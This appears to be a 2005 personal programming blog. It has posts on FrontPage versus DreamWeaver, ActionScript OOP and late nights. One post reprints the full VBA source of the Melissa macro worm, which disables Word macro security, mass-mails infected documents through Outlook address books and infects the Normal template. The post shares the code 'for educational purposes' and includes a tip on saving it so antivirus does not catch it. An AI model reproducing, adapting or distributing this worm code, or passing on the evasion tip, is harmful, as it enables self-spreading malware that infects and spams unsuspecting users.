Jun 14, 2005

Flash MX 2004 - my work!

Best view in Flash player 7 (Have you installed it yet?)
 

Big companies steal ideas from each other!

While i am not an MS fan, i have to say that their are involved in a trade in which rules are sooo dirty (or cute?). It was a month ago that i was making fun of MS because of their FronPage2003. Up to last month, i had worked with both FrontPage XP and Macromedia DreamWeaver MX, and was fluent in using both of them for my purposes. However, some intellisense features i heard about FrontPage 2003 made me to give it a try too. You won't believe it thought, but nearly 80 percent of new features in FrontPage 2003 are taken from Macromedia's DreamWeaver MX. From new layout tools for creating easier tables and cells to new interactive buttons, all are taken directly or indirectly from DreamWeaver MX and introduce as "new" features in FP 2003. This fact made me to go mad about MS, struggling that it is a real big pirate in the software world of today that only thinks of expanding its big belly each day by swallowing small companies.
 
That true, i had a refresher of my Flash knowledge by installing Flash MX 2004 for building up a sexy website for a company. Well, i had done the right thing, and bingo! ActionScript now supports classes and interfaces and other OOP concepts, so i will use my .NET knowledge to jet through it. But, hey, wait: Macromedia has taken many of its language concepts from C# of Microsoft (Although they say that "Java" is that source). Just take a look at their new error handling features, class declarations and their half-grown intellisense (Which is not so intelligence in the case that it can be easily fooled by typing a simple "_mc." and viewing the hard-fixed code hint!), they are such a foolish implementation of ECMA. ActionScript 2 is way too slow to match C#, and Macromedia is in bad scripting support. I can certainly say that even VB6 had a better intellisense that what i see in ActionScript 2.0
 

Jun 8, 2005

OOP in ActionScript, OOP in VB, OOP everyWhere!

I have started scripting in flash again. This is actually a refresher of my previous skills with actionscript. However, there are great differences now in the way that i look at action script, mainly because i ve come from C# and VB.NET and C++ into a scripting language, which also happens to be (slightly) object oriented. I now make up flash movies with open eyes and really understand what this or that means. In the mean time i feel like getting a little far from my real being, a windows programmer, although learning other languages can't be a tough adventure in my way.
 
The important thing is that the whole world is going towards OOP. Nothing will remain procedural, except for weak and powerless scripting languages. Among all the new things happening, i wonder why JavaScript didn't go through the same procedure. It is still procedural. Maybe there are compatibility issues. Maybe browsers don't support OOP concepts for JavaScript in the time being...but this is something that will happen in a few years (Good thing, i don't dwell on JavaScript and might never).

Jun 1, 2005

Friends need help

Ok, many friends asked me for this famous "Melissa" baby. I decided to upload its code to my blog , so that everyone would know how simple it is to write a malicious worm.  It is all the person's intention that determines the behavior of a piece of code. I believe creating a bug free program is much more difficult than doing some dirty jobs like this. But hacking and programming, they are really fun, and why not give the people the opportunity to do virtual destruction instead of physical one? This is a nice psychological way for curing many maniacs in the universe. Let them hit the wall with their heads, nothing will really go wrong...
 
 
NOTE:
#########################################################
The following code is intended for educational purposes only. It is not a secret to be made know by me. You can find this source code in many legal websites on the Internet and many security books.
#########################################################
 
 
' ----- Save this as a file on your hard disk with the .vbs format. You anti virus will easily catch it the moment you save the file. So, you might use other extensions for saving this document.
 
'''''''''''''
 
 
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <>
"" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") =
1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
 
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
 
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ...
don’t show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by
Kwyjibo"
End If
 

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
 
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
 
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
 
CYA:
 
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") =
False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
 

‘WORD/Melissa written by Kwyjibo
‘Works in both Word 2000 and Word 97
‘Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
‘Word -> Email | Word 97 <—> Word 2000 ... it’s a new age!
 
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game’s over.
I’m outta here."
End Sub   
 
 
 
'----------------------------------------- End of Melissa -----------------------------------

Night breaker - what a life

Its been almost three months after the graduation that i have slept late at night, digging and peeping into my computer unto break of dawn. Last night i broke the records. Slept around 5:10 AM. Gosh! when i put my head on the pillow, i could hear sparrows singing...the day was coming and i had just started my night... and wow... the next day i woke up at 12 AM, ate break fast at 12:45, ate lunch at 7 and no dinner? what a life, being alone and living on your own, you know no rules. When sth "is" to be done, then it must be done....
Hell, i haven't done any damn literature study in the last months....i getting too far from the world... it is all bear metal at my fingerprints and codes and codes......